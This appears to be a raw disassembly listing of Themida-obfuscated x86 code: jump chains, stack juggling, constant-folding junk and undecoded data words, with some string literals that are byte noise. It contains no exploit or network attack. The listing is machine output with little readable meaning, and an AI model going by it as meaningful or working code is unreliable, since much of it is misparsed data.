xchg ecx, [esp] pop esp mov [esp], ebx push esp pop ebx push ebp mov ebp, 4 add ebx, ebp pop ebp push esi mov esi, 4 add ebx, esi pop esi xchg ebx, [esp] mov esp, [esp] or eax, eax jz loc_542E62 push dword ptr [edi+28h] push dword ptr [esp] mov eax, [esp] add esp, 4 push esi mov esi, esp push edx mov edx, 25131D59h neg edx add edx, 73BE785Ch jmp loc_544802 ; --------------------------------------------------------------------------- db 0B8h, 4, 0 dd 0C2010000h, 45F5E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_542E16: ; CODE XREF: Themida_:0054B38Cj sub bl, 9Ch jmp loc_5455DE ; --------------------------------------------------------------------------- dw 0C481h dd 4, 8B24048Fh, 0C892424h, 0E546E924h, 8FBAFFFFh, 0E900AC4Fh dd 0FFFFF767h, 815AD031h, 2C15CBEEh, 0E9C60163h, 7D92h ; --------------------------------------------------------------------------- loc_542E4C: ; CODE XREF: Themida_:00545D50j xchg ebx, [esp] pop esp jmp loc_54B56E ; --------------------------------------------------------------------------- loc_542E55: ; CODE XREF: Themida_:00542011j pop ebx add esp, 4 xor edx, 0A9394AC7h loc_542E62: ; CODE XREF: Themida_:00542DDEj ; Themida_:00546B40j push dword ptr [edi+24h] push edx mov edx, 596529Eh jmp loc_547870 ; --------------------------------------------------------------------------- dd 5C241487h, 24048B66h, 8904EC83h, 0EC81242Ch, 4, 0E9242489h dd 8661h, 3CBC281h, 50528C18h, 0E87BF7B8h, 24442912h, 81595804h dd 0E87BF7C1h, 0CB295A12h, 5E45E9h, 0A7C38100h, 66688C56h dd 0BDE930FFh db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_542EBB: ; CODE XREF: Themida_:00546713j sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], eax push 1C7Fh mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] not edi jmp loc_545F88 ; --------------------------------------------------------------------------- dw 248Bh dd 66F1F624h, 0E9CCB60Fh, 7BA5h, 9731F581h, 0E989C2ECh dd 64DE95Dh, 34FF0000h, 0FA685924h, 89000031h, 0FF542414h dd 565A2434h, 0C681E689h, 4, 51F3E9h, 71BF5700h, 8138EF6Ch dd 1E38A8C5h, 81FD2925h, 1E38A8EDh, 0A197E925h, 0C3810000h dd 4, 5C241C87h, 0ED81D501h, 6AF95ECDh, 242C335Ah, 33242C31h dd 248B242Ch, 9CC88424h, 0FFE41BE9h, 3884BBFFh, 0EB813772h dd 658A08EBh, 8103EBC1h, 0A62ED4E3h, 0C6E3810Dh, 0E9327476h dd 1DCDh ; --------------------------------------------------------------------------- loc_542F7C: ; CODE XREF: Themida_:00543D16j add ebp, ecx pop ecx xchg ebp, [esp] mov esp, [esp] jmp loc_5413A2 ; --------------------------------------------------------------------------- dw 0EA81h dd 39FE5CFBh, 24148758h, 124248Bh, 0E99C2404h, 0FFFFE3D8h dd 4508EF81h, 0C7811A43h, 192F3145h, 51BBE9h, 9BC38100h dd 0E93E7966h, 0FFFFE5E5h, 7D6B9268h, 0C2815A6Ch, 6FEC5D66h dd 0E95AD589h, 532Eh ; --------------------------------------------------------------------------- loc_542FD0: ; CODE XREF: Themida_:00543A5Ej xchg edi, [esp] pop esp push dword ptr [esp] pop edx push 659Fh mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_548187 ; --------------------------------------------------------------------------- db 5Ah, 83h, 0ECh dd 24148904h, 806AB450h, 0C4FEA5E4h, 5302E4C0h, 0F659B151h dd 89C180D1h, 59CF88h, 0F4A5E9FCh, 1433FFFFh, 24143124h dd 8B241433h, 0E9F62424h, 0AA52E9h, 0E9E98900h, 8E9Fh dd 66FE3166h, 3166F231h, 0F23166D6h, 2EC81h, 89660000h dd 0FF662414h, 0E9022474h, 5AE7h, 0C8BC801h, 4C48124h dd 83000000h, 0E95002C0h, 0FFFFF7B3h, 2A9E95Bh, 0C5810000h dd 4, 4ED81h, 2C870000h, 12E924h, 0D8010000h, 0E9C8015Bh dd 22A5h ; --------------------------------------------------------------------------- loc_543084: ; CODE XREF: Themida_:0054D126j add eax, 2 jmp loc_543CDD ; --------------------------------------------------------------------------- dd 240C895Ch, 0C181E189h, 4, 0F6B850h, 0F23513CDh, 0E913CD00h dd 0FFFFEFF2h, 83243C8Bh, 0C08304C4h, 4EC8102h, 0E9000000h dd 9E7Dh, 4EC815Fh, 89000000h, 74FF2434h, 6EE90424h, 0FE00006Bh dd 0E7EF80CFh, 22E9042Ch, 8900006Eh, 4C781E7h, 81000000h dd 4ECh, 24048900h, 4B8h, 58C70100h, 0FFE380E9h, 240483FFh dd 24048F04h, 4240481h, 5D000000h, 0C9BF5751h, 0B9028F00h dd 1CEF391Bh, 815FF901h, 951EB7F1h, 57F18155h, 14AEB27h dd 0BE5659CDh, 0BA03C9Dh, 2069F681h, 0C6810C49h, 0F816E310h dd 875EF501h, 83E9242Ch, 5400002Fh, 3B2E9h db 0 ; --------------------------------------------------------------------------- loc_543149: ; CODE XREF: Themida_:00542385j sub eax, 49DB20D1h sub eax, 6DD72D0Ch jmp loc_54271E ; --------------------------------------------------------------------------- dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 81242489h, 42404h dd 815E0000h, 4ECh, 24048900h, 4B8h, 58C60100h, 710E68h dd 241C8900h, 4BBh, 0E4C68100h, 13CAE1Bh, 88DDE9DEh, 34330000h dd 4095C24h, 0CDE99C24h, 0F7FFFFE1h, 81FD87D7h, 0F892B1EDh dd 685550B6h, 71F640F1h, 94E94D5Dh db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5431C3: ; CODE XREF: Themida_:0054295Aj mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx mov ebx, 4 add ebp, ebx push dword ptr [esp] mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add esp, 4 add ebp, 2 push 6905h mov [esp], ebp push dword ptr [esp+4] jmp loc_547226 ; --------------------------------------------------------------------------- loc_543210: ; CODE XREF: Themida_:00549984j xchg ecx, [esp] pop esp mov [esp], edx jmp loc_5498F5 ; --------------------------------------------------------------------------- dd 0AFEE8158h, 89F3B3F2h, 44315EF0h, 77E90424h, 1000016h dd 49B768C3h, 4890000h, 224EE924h, 8B660000h, 8568240Ch dd 89000015h, 0EC81240Ch, 4, 24048F54h, 4240483h, 43E95059h db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54325F: ; CODE XREF: Themida_:005472A6j add ebx, edx jmp loc_54A512 ; --------------------------------------------------------------------------- dw 0F589h dd 3FB0BE5Eh, 0EE297D0Bh, 55242C8Bh, 0C5815D54h, 4, 4C581h dd 2C870000h, 29E95C24h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_54328B: ; CODE XREF: Themida_:00549839j sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp sub esp, 4 mov [esp], edx mov edx, 2A4F6210h sub edx, 0E4C60853h push ebx mov ebx, 6EDF3502h jmp loc_543452 ; --------------------------------------------------------------------------- loc_5432B7: ; CODE XREF: Themida_:00542CA8j sub esp, 4 mov [esp], edi mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_543539 ; --------------------------------------------------------------------------- db 81h dd 584A7CC6h, 81EE0178h, 584A7CEEh, 0F4C68178h, 0FF62BE1Dh dd 34FF2434h, 96E95D24h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5432F7: ; CODE XREF: Themida_:00543E1Dj add ebp, ebx push dword ptr [esp] pop ebx add esp, 4 push ecx jmp loc_543560 ; --------------------------------------------------------------------------- db 59h, 2 dup(0E9h) dd 81FFFFECh, 0BE7175E2h, 16F7E938h, 0EE810000h, 36546B5Eh dd 34FFF501h, 24348B24h, 565D5455h, 4BEh, 7822E900h, 814F0000h dd 0C76E69C7h, 14F7572Eh, 0EF815F24h, 0C664332Fh, 5181C581h dd 0FD0121B0h, 5181ED81h, 3C8B21B0h, 0E9545724h, 8012h dd 0EDEE840Fh, 5150FFFFh, 34516856h, 815E74CEh, 0A531A9F6h dd 0DEC6810Ah, 4655704Ah, 4FD9EE81h, 0F189D3DBh, 59C8895Eh dd 8004E9h, 5991BF00h, 0EFC1613Ch, 8374E905h, 34FF0000h dd 0EC835924h, 243C8904h, 0E8E95F54h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5433AB: ; CODE XREF: Themida_:0054BC6Fj mov eax, [esp] add esp, 4 std push 1218h mov [esp], edx mov edx, 2BF060FDh push edx not dword ptr [esp] pop edx shl edx, 5 sub edx, 1 push edx xchg edx, [esp] jmp loc_548B85 ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 1CD36659h, 95E99C24h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5433E3: ; CODE XREF: Themida_:00546BFAj dec edx add edx, 6EBB5053h push ebx jmp loc_542240 ; --------------------------------------------------------------------------- aI4R1yls db '‰4$¾à1Ylé,',0Ah,0 dd 0ABD5500h, 817B4814h, 86281FCDh, 5045E916h, 68AC0000h dd 6CAEh, 0B5240C89h, 0E9C5FE15h, 4EC0h ; --------------------------------------------------------------------------- loc_543420: ; CODE XREF: Themida_:005428F5j add edi, ecx jmp loc_544551 ; --------------------------------------------------------------------------- db 66h dd 660AD1BAh, 0EA81664Ah, 81662F67h, 66DB6AEAh, 0F0E9D029h db 81h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54343F: ; CODE XREF: Themida_:0054598Aj sub esi, 2DF34386h not esi sub esi, 5001392h jmp loc_543BB0 ; --------------------------------------------------------------------------- loc_543452: ; CODE XREF: Themida_:005432B2j shr ebx, 1 jmp loc_54C77C ; --------------------------------------------------------------------------- db 2Dh, 2, 0 dd 5EE90000h, 5900008Ah, 31A4E9h, 15F5A00h, 0E9555EF3h dd 0FFFFEE8Dh, 4C481h, 8B660000h, 89572414h, 52468E7h dd 1C890000h, 70685224h, 0E9432C43h, 6373h ; --------------------------------------------------------------------------- loc_543494: ; CODE XREF: Themida_:00546F58j pop esp jmp loc_546E90 ; --------------------------------------------------------------------------- dw 4168h dd 8900003Ah, 5253242Ch, 0C61FEEBAh, 0EAC14A4Dh, 71D9E903h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5434B2: ; CODE XREF: Themida_:0054D5C2j sub ebp, 4 xchg ebp, [esp] jmp loc_5440A0 ; --------------------------------------------------------------------------- loc_5434C0: ; CODE XREF: Themida_:005458EBj mov eax, [esp] add esp, 4 jmp loc_54B9EA ; --------------------------------------------------------------------------- db 81h dd 5CB594EAh, 0FC58187h, 29651A69h, 0FED81D5h, 5A651A69h dd 0FFE50EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5434E5: ; CODE XREF: Themida_:00549893j mov [esp], esi mov esi, esp add esi, 4 push edx mov edx, 2 jmp loc_5470D5 ; --------------------------------------------------------------------------- db 0FFh a4Xs db '4$Xé"!',0 align 4 dd 4504C483h, 0B850DDF7h, 6A5E46CBh, 0ED2F1035h, 99ED811Eh dd 0E976624Dh, 1BC2h, 0F6390ABEh, 68E8E97Eh, 77FF0000h dd 59669D1Ch, 9C241CD3h, 0FFDE3FE9h db 0FFh ; --------------------------------------------------------------------------- loc_543539: ; CODE XREF: Themida_:005432D2j xchg edi, [esp] pop esp pop edi loc_54353E: ; CODE XREF: Themida_:0054BAC1j ; Themida_:0054C888j push 12C6h mov [esp], ebx jmp loc_549786 ; --------------------------------------------------------------------------- db 81h dd 4131A8F1h, 59CB296Fh, 88EB8158h, 0E9687E1Dh, 0FFFFFCCFh ; --------------------------------------------------------------------------- loc_543560: ; CODE XREF: Themida_:00543304j mov ecx, 4 jmp loc_54183C ; --------------------------------------------------------------------------- dw 74FFh dd 8F5B0424h, 248B2404h, 0C896624h, 0DDFAE924h, 0E94FFFFFh dd 1213h, 83240C8Bh, 0C6E904C4h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54358F: ; CODE XREF: Themida_:00548A2Cj inc byte ptr [esp] pop edx sub dl, 14h xor al, dl pop edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], edx jmp loc_54920D ; --------------------------------------------------------------------------- db 33h dd 0C31240Ch, 240C3324h, 6624248Bh, 9C240401h, 0FFDDAFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5435C9: ; CODE XREF: Themida_:005482A4j mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push edi mov edi, 4 sub ecx, edi pop edi xchg ecx, [esp] pop esp mov [esp], eax jmp loc_54449F ; --------------------------------------------------------------------------- dd 24348157h, 69865999h, 99F3815Bh, 0E9698659h, 8DF3h ; --------------------------------------------------------------------------- loc_543608: ; CODE XREF: Themida_:0054AE8Dj neg ebx sub ebx, 2F02268Fh sub esi, 3607330Fh add esi, ebx add esi, 3607330Fh pop ebx jmp loc_54B413 ; --------------------------------------------------------------------------- aU@zIiusys db 'U½@Z',0Dh,'i‰îéYS',0 db 0 ; --------------------------------------------------------------------------- loc_543631: ; CODE XREF: Themida_:0054AC8Aj add esi, 4 push eax push ebp push 0DDE37A1h pop ebp push ecx mov ecx, 58EA7D15h sub ebp, ecx pop ecx sub ebp, 0B4F3BA88h push edi mov edi, ebp jmp loc_548C9B ; --------------------------------------------------------------------------- dw 0B850h dd 275781Fh, 0E958C101h, 1126h, 24048B66h, 0E95D5455h dd 2DA8h, 1000F281h, 0ED814850h, 7E822D13h, 0C581D501h dd 7E822D13h, 242C335Ah, 33242C31h, 0E95C242Ch, 8022h dd 2404895Ch, 582414F7h, 2474FF50h, 2453E904h, 248B0000h dd 21D3E924h, 248B0000h, 48F6624h, 31AFE924h, 15D0000h dd 0EC8359CEh, 240C8904h, 4B9h, 59CE0100h, 31243433h, 0C7E92434h dd 52FFFFFAh, 2F26E9h, 24148B00h, 4C481h, 0EE810000h, 68D181Ah dd 5BE7EE81h, 0BEE97F98h, 81FFFFDEh, 0D757D4CDh, 0F0E58150h dd 0C12E2E78h, 0ED8104EDh, 40E509h, 835DEF01h, 3C8704C7h dd 24248B24h, 3BE9D031h, 1000082h, 0A1EE81DEh, 81410009h dd 7F018CEEh, 0EC835B4Fh, 24048904h, 6574EEB8h, 6E8C13Eh dd 81BFE9h, 0B0CD8100h, 4D4FD702h, 8102EDC1h, 0A69CCCF5h dd 5DEF2945h, 78A1E781h, 0EF812686h, 89AE4949h, 815FF989h dd 0D81EB3E9h, 59CD017Ah, 308CE9h db 0 ; --------------------------------------------------------------------------- loc_543771: ; CODE XREF: Themida_:0054700Aj mov esi, 35E80F6Eh sub ebx, esi pop esi jmp loc_54691A ; --------------------------------------------------------------------------- dw 42B7h dd 51E9F830h db 91h, 2 dup(0) ; --------------------------------------------------------------------------- loc_543787: ; CODE XREF: Themida_:00548CB1j push dword ptr [esp] pop ecx push ebp push esp pop ebp add ebp, 4 push edi push esi push 6B24116h mov esi, [esp] add esp, 4 xor esi, 6B24112h mov edi, esi pop esi add ebp, edi mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp xor ebp, [esp] jmp loc_54619B ; --------------------------------------------------------------------------- dw 0C483h dd 8BF80104h, 0F2E9243Ch, 6800009Bh, 1354h, 7868E9h, 42D00h dd 4870000h, 2C895C24h, 309DE924h, 15B0000h, 0F43EE9C6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5437F6: ; CODE XREF: Themida_:0054A3E9j pop ebp jmp loc_543A2C ; --------------------------------------------------------------------------- dd 47E5C381h, 0C3293407h, 47E5EB81h, 0C3813407h, 731756E8h dd 29BBE9h, 241C8900h, 0A813C168h, 2434FF45h, 0FFE0ECE9h dd 0FE885CFFh, 81241C8Bh, 4C4h, 66F03000h, 8324148Bh, 0E95102C4h dd 96A9h, 1B22E947h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543846: ; CODE XREF: Themida_:00546F78j push eax jmp loc_542C20 ; --------------------------------------------------------------------------- dd 872CD800h, 665B1704h, 0EDB45051h, 8006ECC0h, 0C4FE10C4h dd 0F480D4F6h, 8BE188F9h, 0C4832404h, 0FCC18004h, 8014C980h dd 0CB284DC1h, 0FFDF51E9h, 0E8E959FFh, 8000060h, 0EFC05AF7h dd 79F78002h, 304CB151h, 240C8BCFh, 55E18951h, 727AADBDh dd 50ED814Eh, 8144690Bh, 0F690A7C5h, 5DE901F5h, 628EE957h dd 215F0000h, 0C2835FFAh, 0ACF281FFh, 2931E41Ah, 24148BD0h dd 4C481h, 0B8500000h, 14114827h, 68DFC381h, 0C3291D15h dd 0FFF2D8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5438DD: ; CODE XREF: Themida_:0054409Bj mov ebx, 6743F9C8h sub eax, 78D11942h sub eax, ebx add eax, 78D11942h mov ebx, [esp] jmp loc_547E68 ; --------------------------------------------------------------------------- loc_5438F6: ; CODE XREF: Themida_:00545CD9j push edx mov edx, 531E4219h shl edx, 1 add edx, 59C37BD2h add esi, edx pop edx xchg esi, [esp] pop esp or eax, eax jz loc_54B8D6 push dword ptr [edi+1Ch] push eax push edi mov edi, 16D83912h jmp loc_5492DC ; --------------------------------------------------------------------------- loc_543922: ; CODE XREF: Themida_:005440ACj push eax mov ah, bh mov dh, ah pop eax jmp loc_544577 ; --------------------------------------------------------------------------- db 1, 0D0h, 5Ah dd 5C240487h, 51585450h, 4B9h, 0E9C80100h, 0FFFFEAB1h dd 0A0FAE954h, 87660000h, 0FE3166F2h, 66F73166h, 0F766FE31h dd 0FE3166D7h, 0E9F73166h, 0FFFFF6C8h, 2414F755h, 7AAE9h db 0 ; --------------------------------------------------------------------------- loc_54396D: ; CODE XREF: Themida_:0054D580j and eax, edx mov edx, [esp] push esi jmp loc_54193A ; --------------------------------------------------------------------------- dd 4C4835Bh, 0DCDE9h, 348B5400h, 0E6895624h, 4C681h, 0C6810000h dd 4, 5C243487h, 4EC8152h, 89000000h, 2BD242Ch, 895A607Dh dd 0EAC15DEAh, 0E9DAF702h, 38D3h, 0EE81DEF7h, 9AC877A7h dd 0E95EF029h, 5184h, 42A4C681h, 0FE015F02h, 0F460E952h dd 8B66FFFFh, 0E951240Ch, 5940h, 8B2434FFh, 0C4812404h dd 4, 0EF0CE951h, 5250FFFFh, 7BB056B6h, 5AF030h, 5D6858C3h dd 8900005Fh, 0CBB62414h, 148BF320h, 4C48324h, 0FED0B151h dd 0E5C7E9C1h, 0E681FFFFh, 5CA8154Dh, 4970CE81h, 464E3EDCh dd 0E902E6C1h, 4121h ; --------------------------------------------------------------------------- loc_543A2C: ; CODE XREF: Themida_:005437F7j add esp, 4 push ecx push edx mov edx, 52D63A72h mov ecx, edx pop edx not ecx push ebx mov ebx, 713207D9h push ecx jmp loc_54B2BE ; --------------------------------------------------------------------------- loc_543A47: ; CODE XREF: Themida_:0054C881j not ebx sub ebx, 57867D51h add edi, ebx pop ebx mov edx, [esp] add esp, 4 add edi, 4 jmp loc_542FD0 ; --------------------------------------------------------------------------- aPG?SV db 'P¸)G?*Áè',7,'V¾',0 align 10h dd 0F4E90000h db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_543A77: ; CODE XREF: Themida_:0054AE37j xor dword ptr [edi+20h], 620000h loc_543A7E: ; CODE XREF: Themida_:loc_544217j ; Themida_:00544779j push dword ptr [esp] mov ebx, [esp] push 6F68h mov [esp], edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop edx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5463B4 ; --------------------------------------------------------------------------- dw 5457h dd 0B850555Fh, 4D1B0751h, 9FE9C589h, 51000003h, 42474FFh dd 24048F59h, 243C895Ch, 4EC81h, 0D2E90000h, 81FFFFDAh dd 4E37CBEEh, 440AE93Ah, 8B660000h, 9FE92404h, 68000089h dd 3F4Ah, 50243C89h, 5A54BD68h, 24048B68h, 4B0FE950h, 0DD890000h dd 33E1E95Bh, 248B0000h, 7BCD6824h, 0BAE90000h db 90h, 2 dup(0) ; --------------------------------------------------------------------------- loc_543B1B: ; CODE XREF: Themida_:0054B49Fj xor edx, edi xor edi, edx xor edx, edi not edi push 0BB3h mov [esp], edx jmp loc_5426FB ; --------------------------------------------------------------------------- loc_543B30: ; CODE XREF: Themida_:0054810Bj pop edi sub ebx, 1AC713BAh push esi mov esi, 31C15BD3h xor esi, 36704971h jmp loc_546753 ; --------------------------------------------------------------------------- dd 6DE9EA00h, 5A000002h, 815DEA01h, 4ECh, 242C8900h, 4BDh dd 5DEA2900h, 5C241487h, 374E9h db 0 ; --------------------------------------------------------------------------- loc_543B6D: ; CODE XREF: Themida_:00544556j mov ebx, 4 jmp loc_54D8E2 ; --------------------------------------------------------------------------- db 8Bh dd 0C483243Ch, 24143304h, 0E9241431h, 802Eh, 0D881E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_543B8E: ; CODE XREF: Themida_:005482DBj push eax push edx push 56432DF1h mov edx, [esp] add esp, 4 add edx, 341D36AEh jmp loc_547BE4 ; --------------------------------------------------------------------------- dw 0D366h dd 0E99C240Ch, 0FFFFD7C8h ; --------------------------------------------------------------------------- loc_543BB0: ; CODE XREF: Themida_:0054344Dj dec esi add esi, 817B32C6h add edi, 6E0577D0h sub edi, esi sub edi, 6E0577D0h jmp loc_542740 ; --------------------------------------------------------------------------- a_hT db '_h»t',0 align 10h dd 7F5AE9h, 240C8700h, 28992D5Ch, 0E95E41C0h, 89F7h, 74045B2Dh dd 0C950539h, 0C301E3ACh, 8124048Bh, 4C4h, 2647E900h, 0FB290000h dd 0C383595Fh, 738BE904h, 0DDF60000h, 1246C86h, 0B4505A66h dd 8E4C027h, 5689E9h db 0 ; --------------------------------------------------------------------------- loc_543C1D: ; CODE XREF: Themida_:00548B80j pop edi add edi, esi jmp loc_549E4A ; --------------------------------------------------------------------------- db 58h, 59h, 5Ah dd 83242C8Bh, 0EC8104C4h, 4, 0B9240C89h, 24h, 2F0AE981h dd 0ADE91E82h, 80FFFFE4h, 0A9E943C6h, 8100006Ch, 795D1ACFh dd 0A1C7817Dh, 0E9509466h, 95D8h, 8B24048Fh, 51662424h dd 8FDFE9h, 96D6F700h, 302CBD55h, 0EDC14F67h, 25B6E906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543C7E: ; CODE XREF: Themida_:00547BFDj add esp, 4 add eax, 0FFE2A1Fh jmp loc_54B434 ; --------------------------------------------------------------------------- dw 0E5E9h dd 89FFFFD6h, 96BA2414h, 31184778h, 0FA015AD7h, 5F2434FFh dd 4C481h, 14870000h, 3FBAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543CB2: ; CODE XREF: Themida_:005457ADj mov [esp], edx push edi mov edi, 5A0C4EC1h shr edi, 5 xor edi, 72122021h jmp loc_5487DD ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 4C281h, 0C2810000h, 2, 16D1E9h db 0 ; --------------------------------------------------------------------------- loc_543CDD: ; CODE XREF: Themida_:00543087j xchg eax, [esp] mov esp, [esp] mov dx, [esp] jmp loc_548259 ; --------------------------------------------------------------------------- dd 5EBC143h, 0F381D3F7h, 52435B70h, 71CDE9h, 51E28900h dd 8C5FBFB9h, 2BC18145h, 0E97FF727h, 2EA9h ; --------------------------------------------------------------------------- loc_543D10: ; CODE XREF: Themida_:00546B9Bj push ecx mov ecx, 4 jmp loc_542F7C ; --------------------------------------------------------------------------- loc_543D1B: ; CODE XREF: Themida_:0054CE72j dec dword ptr [esp] mov eax, [esp] add esp, 4 push ebp mov ebp, 1EE304B3h or eax, ebp pop ebp push ebp mov ebp, 6C4C0C74h push ecx mov ecx, 40D952CAh xor ebp, ecx pop ecx push ebx sub esp, 4 jmp loc_54AEB8 ; --------------------------------------------------------------------------- db 81h dd 892485C6h, 92E956A2h, 81000015h, 0BC5A58F6h, 33C68164h dd 1F7C5DDh, 0C7835EF7h, 74FF5702h, 8F5F0424h, 0D35C2404h dd 0E99C240Ch, 9E2h, 4C481h, 8F660000h, 0D5EEE900h, 0D789FFFFh dd 8124148Bh, 4C4h, 96EA8100h, 17B807Ah, 96C281FAh, 5F7B807Ah dd 2474FF52h, 48F5A04h, 24248B24h, 0C8B60F66h, 0E9E38953h dd 6566h, 0DE3AE959h, 8159FFFFh, 4C1h, 4EC8100h, 89000000h dd 77BA2414h, 81161041h, 104175F2h, 8BD10116h, 0C4812414h dd 4, 2474FF51h, 5E8FE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543DF2: ; CODE XREF: Themida_:00547877j mov edi, ebx pop ebx sub edi, 656533C4h inc edi jmp loc_546169 ; --------------------------------------------------------------------------- db 0E9h, 72h, 0D5h dd 48FFFFFh, 24248B24h, 4AB0F66h, 61E99C24h db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_543E17: ; CODE XREF: Themida_:00544921j add ebx, 0F4D50245h jmp loc_5432F7 ; --------------------------------------------------------------------------- aRsO db ']R鵎',0 dd 5EEC100h, 0FFE175E9h, 242C89FFh, 440DBB53h, 84E95F42h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_543E3F: ; CODE XREF: Themida_:005473D7j mov esp, [esp] jmp loc_541378 ; --------------------------------------------------------------------------- db 80h dd 0C980FAC1h, 4EC81DBh, 89000000h, 10E9241Ch db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_543E5B: ; CODE XREF: Themida_:00546BA6j mov ebx, ecx jmp loc_54CFA8 ; --------------------------------------------------------------------------- dw 8158h dd 0BE5BB2E5h, 0F889E956h, 0CD21FFFFh, 0F1F58159h, 81380001h dd 2223DC5h, 26C58113h, 29CC60C6h, 8E95DEAh db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_543E8B: ; CODE XREF: Themida_:0054BCC0j add esi, 4 push ebx mov ebx, 40383842h not ebx jmp loc_54A25B ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0AC46C505h, 2DC80142h, 42AC46C5h, 20559h, 4870000h dd 24248B24h, 993EE9h, 24248B00h, 9C2424D3h, 0FFD4ABE9h dd 136BBEFFh, 0F68131B6h, 0AB11C5h, 525EF501h, 7F7FE9h dd 24048900h, 4B8h, 24440100h, 148B5804h, 4C48324h, 0FFD47FE9h db 0FFh ; --------------------------------------------------------------------------- loc_543EF9: ; CODE XREF: Themida_:0054C0F6j mov edi, 72211D41h and edi, 4B9175FBh and edi, 785D6D09h shl edi, 3 jmp loc_549B06 ; --------------------------------------------------------------------------- loc_543F12: ; CODE XREF: Themida_:00548AC1j push 0F5h mov [esp], ecx push 26BFh jmp loc_548FEC ; --------------------------------------------------------------------------- dd 6824048Bh, 15FEh, 54243489h, 8124348Bh, 4C4h, 2FAF6800h dd 0C890000h, 7097E924h, 0D0BA0000h, 0BB4BD569h, 37D91874h dd 148BD331h, 4C48124h, 0E9000000h, 5614h, 0FF2434FFh dd 81582434h, 4C4h, 58545000h, 405h, 42D00h, 3AE90000h dd 8300003Ch, 8B042404h, 0FDE9240Ch, 8900004Eh, 94CAE9F2h dd 0BD550000h, 75335D06h, 1E3AE9h, 4C28300h, 5C241487h dd 8702C683h, 86E92434h, 0AD000043h, 4AAC68h, 243C8900h dd 0FFF440E9h, 5418B8FFh, 9125596Dh, 40636727h, 0F7E40B2Dh dd 58C22934h, 0F7EA874Ah, 6E85E9D5h, 34FF0000h, 240C8B24h dd 8904EC83h, 0E6892434h, 4C681h, 4EE90000h, 68000084h dd 39F1h, 8F8E9h, 242C3300h, 48B665Ch, 3B966824h, 34890000h dd 228BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544012: ; CODE XREF: Themida_:0054742Dj sub esp, 4 jmp loc_5475A4 ; --------------------------------------------------------------------------- aIisso db '‰ëéáŽ',0 align 4 dd 0E959CB29h, 0FFFFF7D0h, 0AF685D59h, 89000042h, 0A5B9240Ch dd 0C1017423h, 0E98102E9h, 0F2069E24h, 0E959CA01h, 566h dd 5E08950h, 4, 8704E883h, 0A6E92404h, 0E9000067h, 0FFFFD314h dd 5759CA29h, 56769ABFh, 5FFA2900h, 0C281C201h, 56769Ah dd 570CC281h, 0DDE9663Bh, 1FFFFDBh, 0FB9BE910h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54408A: ; CODE XREF: Themida_:00549A48j xchg ebp, [esp] pop esp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], ebx jmp loc_5438DD ; --------------------------------------------------------------------------- loc_5440A0: ; CODE XREF: Themida_:005434BBj pop esp mov [esp], ebx mov bh, dl sub esp, 4 mov [esp], edx jmp loc_543922 ; --------------------------------------------------------------------------- db 0D1h, 0EBh, 81h dd 4B4546F3h, 5BD88957h, 706BE9h db 0 ; --------------------------------------------------------------------------- loc_5440C1: ; CODE XREF: Themida_:005456F6j mov eax, 0BBA532Fh and eax, 61E269E3h shr eax, 4 push edx mov edx, 1BB0BCFh add eax, edx pop edx neg eax sub eax, 6DFF6093h jmp loc_54C0E5 ; --------------------------------------------------------------------------- db 66h dd 0B0240489h, 116CE9F2h, 148B0000h, 4C48124h, 81000000h dd 4D6861CAh, 81D2F75Ah, 0A03B52F2h, 0A9C28161h, 897A539Ah dd 87D2E9D0h, 61E90000h, 8BFFFFD2h, 0C481242Ch, 4, 0E945D5F7h dd 95E3h ; --------------------------------------------------------------------------- loc_544128: ; CODE XREF: Themida_:0054C8AAj shr al, 5 add al, 23h add bl, al pop eax push edx push 6868h mov [esp], ebp mov ebp, 3FCh jmp loc_5469E8 ; --------------------------------------------------------------------------- db 0F7h dd 0E84305D0h, 0A3E9CA75h, 0C1000024h, 